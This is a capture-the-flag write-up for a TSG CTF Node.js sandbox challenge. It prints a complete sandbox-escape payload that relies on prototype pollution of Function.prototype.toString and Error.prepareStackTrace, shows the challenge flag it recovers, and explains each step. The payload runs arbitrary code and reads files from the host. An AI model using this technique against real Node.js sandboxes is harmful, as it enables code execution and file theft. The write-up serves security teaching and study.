- 5 solves / 365 pts
- Author: n4o847
- CTFtime: https://ctftime.org/event/2013/
My solution:
$ nc 34.84.217.62 30002
Welcome! Please input an expression.
> globalThis.constructor.constructor.prototype.toString = globalThis.constructor.constructor.prototype.call; Error.stackTraceLimit = 0; globalThis.constructor.prototype.prepareStackTrace = globalThis.constructor.constructor; const err = new Error; err.name = "x = \x28\x28\x29 => { const fs = process.mainModule.require\x28'fs'\x29; const filename = fs.readdirSync\x28'./'\x29.find\x28name => name.startsWith\x28'flag-'\x29\x29; console.log\x28fs.readFileSync\x28filename\x29.toString\x28\x29\x29 }\x29\x28\x29"; err
TSGCTF{i_like_functional_programming_how_about_you}
[undefined] {
name: "x = (() => { const fs = process.mainModule.require('fs'); const filename = fs.readdirSync('./').find(name => name.startsWith('flag-')); console.log(fs.readFileSync(filename).toString()) })()"
}
globalThis.constructor.constructor.prototype.toString = globalThis.constructor.constructor.prototype.call;
This means Function.prototype.toString = Function.prototype.call
where the Function
is a host object.
By this prototype pollution, functions will be called when they are converted to primitive values.
Error.stackTraceLimit = 0;
globalThis.constructor.prototype.prepareStackTrace = globalThis.constructor.constructor;
This pollutes prepareStackTrace
to a constructor Function
.
prepareStackTrace
: https://github.com/nodejs/node/blob/v20.9.0/lib/internal/errors.js#L140-L141- Stack trace API: https://v8.dev/docs/stack-trace-api
Error.stackTraceLimit = 0;
changes the second argument trace
of prepareStackTrace
to an empty array.
const err = new Error;
err.name = "x = \x28\x28\x29 => { const fs = process.mainModule.require\x28'fs'\x29; const filename = fs.readdirSync\x28'./'\x29.find\x28name => name.startsWith\x28'flag-'\x29\x29; console.log\x28fs.readFileSync\x28filename\x29.toString\x28\x29\x29 }\x29\x28\x29";
err
When console.log(err)
is executed, Function(err, []).call()
will be executed and it will show a flag!